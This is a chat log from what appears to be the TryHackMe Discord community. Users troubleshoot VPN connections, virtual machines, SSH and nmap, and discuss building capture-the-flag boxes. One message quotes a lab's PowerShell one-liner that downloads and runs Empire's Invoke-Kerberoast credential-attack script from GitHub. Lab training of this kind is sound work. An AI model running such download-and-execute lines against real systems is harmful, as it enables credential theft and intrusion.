Same for me

barren birch May 31, 2020, 5:50 PM

#

Top one @naive dust

#

In retrospect, that would have made sense

#

Next time I do a Kali install that's what I'll be doing

#

But honestly I really like being able to switch on or off the anonymity

#

It's a really neat little function -- took ages to build

naive dust May 31, 2020, 5:50 PM

#

nmap -7.80?

barren birch May 31, 2020, 5:50 PM

#

If that's what it's offering, yeah

#

Small warning -- anti-virus often does not like nmap

#

It is fine though

#

Just the kinda thing an attacker would download if they'd got access 🤷‍♂️

naive dust May 31, 2020, 5:52 PM

#

To run lenux in my windows OS u r suggesting to download Virtual Machine for me ,thast it?

barren birch May 31, 2020, 5:52 PM

#

That's the most sensible option

naive dust May 31, 2020, 5:52 PM

#

tnx a lot. But is there any option for harm of my device?

barren birch May 31, 2020, 5:53 PM

#

#

That's what it looks like in VMware Workstation

#

Just a box, containing another operating system

#

And no, there shouldn't be any harm to your main OS

#

It is extremely difficult to escape from a VM

@barren birch Year of the fox? 👀

barren birch May 31, 2020, 5:53 PM

#

Should be submitted for review tonight @feral dock 😁

#

#

Have a sneak peak

feral dock May 31, 2020, 5:54 PM

#

Awesome, just rooted CherryBlossom today

barren birch May 31, 2020, 5:54 PM

#

Ey!

#

Yeah, Year of the Fox is from the easier series I'm afraid

feral dock May 31, 2020, 5:54 PM

#

😌

barren birch May 31, 2020, 5:54 PM

#

I've almost finished building the privesc for Monkshood

celest sapphire May 31, 2020, 5:54 PM

#

another box full of ~~rabbit~~fox holes? :)

barren birch May 31, 2020, 5:55 PM

#

That one has so many traps, I keep falling into them myself

celest sapphire May 31, 2020, 5:55 PM

#

rabbit holes, fox traps

#

what else

barren birch May 31, 2020, 5:55 PM

#

Haha, YOTF isn't actually too bad. It was meant to be nice and simple

#

It's, uh, kinda spiralled

#

Might submit it as a hard box

#

But it's probably easier than CherryBlossom

#

Monkshood is infinitely harder

#

Actually, this might be on Par with CherryBlossom

#

If you get the privesc wrong, the whole thing will self-destruct and you'll be starting again from the beginning given it's autogenning passwords

celest sapphire May 31, 2020, 5:56 PM

#

yikes

barren birch May 31, 2020, 5:56 PM

#

Just get it right first time 😁

#

One shot

#

Oh, also, how are you with tunneling when SSH isn't installed?

feral dock May 31, 2020, 5:56 PM

#

👀

barren birch May 31, 2020, 5:57 PM

#

Because if you haven't tried it, now would be a good time to learn 😁

#

In retrospect

#

This is no longer a simple box

feral dock May 31, 2020, 5:58 PM

#

I hope it doesn't come out the same time as James's box 😄

barren birch May 31, 2020, 5:58 PM

#

James' should come out first -- it was submitted earlier

#

Both of them, actually

#

I've got two challenges and a tutorial, plus the replacement to the Kali machine to do

#

Hopefully get them done before PWK

feral dock May 31, 2020, 5:59 PM

Stick this in the "Command" box then click Scan:

My streak keeps going back to one?

I first got a 3 day streak and when I came back on it was back down to 1 so I just presumed I missed a day but yesterday I got it to 2 and it’s back on one?

@naive dust BTW, you keep asking questions on "How do I do this" in this chat. #room-help for help in rooms

naive dust May 31, 2020, 9:52 PM

#

Is there a solution to preventing the ssh’d machines from freezing after about a minute

eager fulcrum May 31, 2020, 9:52 PM

#

Switch VPN server

#

And check !multivpn

#

!multivpn

sharp bisonBOT May 31, 2020, 9:52 PM

#

TryHackMe

• Step 1

Type ps aux | grep openvpn into your terminal and press enter

• Step 2

If there's more than one line (and the second doesn't have "grep" in it), do the following steps

• Step 3

Type killall openvpn into your terminal and press enter

• Step 4

Start the VPN with sudo openvpn <path-to-config>

naive dust May 31, 2020, 9:53 PM

#

Thanks

#

If it says !multivpn event not found does that mean there is currently no vpn running

eager fulcrum May 31, 2020, 9:55 PM

#

wat

#

Did you type !multivpn in your terminal or something?

#

Don't do that

#

Read the message from the bot

naive dust May 31, 2020, 9:56 PM

#

Idk I had like 4 or 5 lines when I did ps aux then did the killall command

#

Then just one

#

Maybe I had multiple vpn’s running

eager fulcrum May 31, 2020, 9:56 PM

#

Probably

naive dust May 31, 2020, 9:57 PM

#

Alright let’s see how it works this time

#

Yes it is working now it has not frozen for several minutes

#

Thanks

Hey all. Im getting a connection error when trying to launch the in-browser machine, using chrome. That on my end? Thx.

@uneven igloo You're trying to SSH into something you're not meant to SSH into
@eager fulcrum hmm ok, i'm trying to ssh the 'Advent of Cyber' ip machine

You shouldn't immediately try and SSH into the room

Discord is unrelated to the website

Discord totally optional

uneven igloo Jun 1, 2020, 1:10 AM

i waited something like 10 minutes to try ssh, already checked the /etc/ssh/sshd_config and it's all right too. i think that i'll wait some more time and try again

eager fulcrum Jun 1, 2020, 1:10 AM

#

@uneven igloo Ok, but why are you trying to SSH?

uneven igloo Jun 1, 2020, 1:12 AM

#

i tried to access the website at 'ip:3030' but the connection got refused

eager fulcrum Jun 1, 2020, 1:12 AM

#

3000

#

And you need to be connected to the VPN

uneven igloo Jun 1, 2020, 1:12 AM

#

ah

#

i'm sorry for wasting your time

eager fulcrum Jun 1, 2020, 1:13 AM

/etc/sshd_config is the SSH server running on your machine

uneven igloo Jun 1, 2020, 1:13 AM

One of the most common problems in setting up OpenVPN is that the two OpenVPN daemons on either side of the connection are unable to establish a TCP or UDP connection with each other. This is usually the result of: A perimeter firewall on the server's network is filtering out ...

Once we enable the VPN over TCP, this can resolved. But for now, please use that guide:)

eager fulcrum Jun 1, 2020, 3:52 PM

But that's not how you install packages on kali anyway

how can i install anythink, is it apt-get ?

apt and apt-get is a program

It does more than install packages

#

Don't install putty on kali

Putty on linux is bad, and mostly pointless

Figured out what to do with the challenge.

eager fulcrum Jun 1, 2020, 3:59 PM

#

It says install putty for windows if you're connecting from windows @paper cloud

naive dust Jun 1, 2020, 3:59 PM

#

@paper cloud That doesn't mean you have to specifically use PuttY.

eager fulcrum Jun 1, 2020, 4:00 PM

#

You can, and should, connect from your terminal

#

you're told how in the room

#

No extra programs required

paper cloud Jun 1, 2020, 4:01 PM

#

you say like that Disclaimer: please do not use putty if you are already on Linux. Use the instructions for the ssh binary down below.

Why do most, but not all windows rooms with RDP connections seem to kick me off about an hour in of being live? The box is apparently still running with extended time as far as the website.
Is there a setting with my RDP client or on the box that will stop this?

i'm doing a room where i have to -sV in nmap but it says that the host seems down

i did a -Pn as it said and it said it's up

i tried to -sV again and it still says it's down so i'm not sure what t odo

i looked up but i couldnt find what i should do

other than do -Pn

i'm on powershell by the way, do you think i should try it on kali (if that makes a difference)?

@supple sonnet your box, plz

nimble trail Jun 3, 2020, 1:23 AM

#

polite suggestion, but if these boxes don't have internet access, maybe you could host the resources people will need to download in the same network (or a network the host is allowed to egress) and update the documentation to reflect the local location(s) of the resource(s), while including the source URL for the users edification? or not, just a polite suggestion to help enhance the user experience.

#

or heck, throw a hosts entry in the box that points it to the local resource. then the documentation doesn't even need updating. idk. just a thought.

celest sapphire Jun 3, 2020, 1:25 AM

#

Usually people just download them onto their machine and start their own http server (python3 module or smth) and download that way

nimble trail Jun 3, 2020, 1:26 AM

#

well, when the instructions specifically tell you ```Lets first get the Powershell Invoke-Kerberoast script.

iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ```

#

you'd think that would be the way. for the record, that'd be my usual move for something like this, but others might not be so creative.

celest sapphire Jun 3, 2020, 1:27 AM

#

Oh yeah, this might be misleading

nimble trail Jun 3, 2020, 1:27 AM

but the instructions also don't mention importing the ps1 module

Hello, I'm trying to access tryhackme's vpn using openvpn on a Kali VM. To do so, I donwloaded the config file and launched it with openvpn with root privileges. I get the initalization sequence completed yet tryhackme still says I am not connected on the access page. Has anyone an idea what the problem might be? I already made sure there was only one instance of openvpn at the time as required.

from my host I can easily do, ssh kali@localhost -p 2222 and login
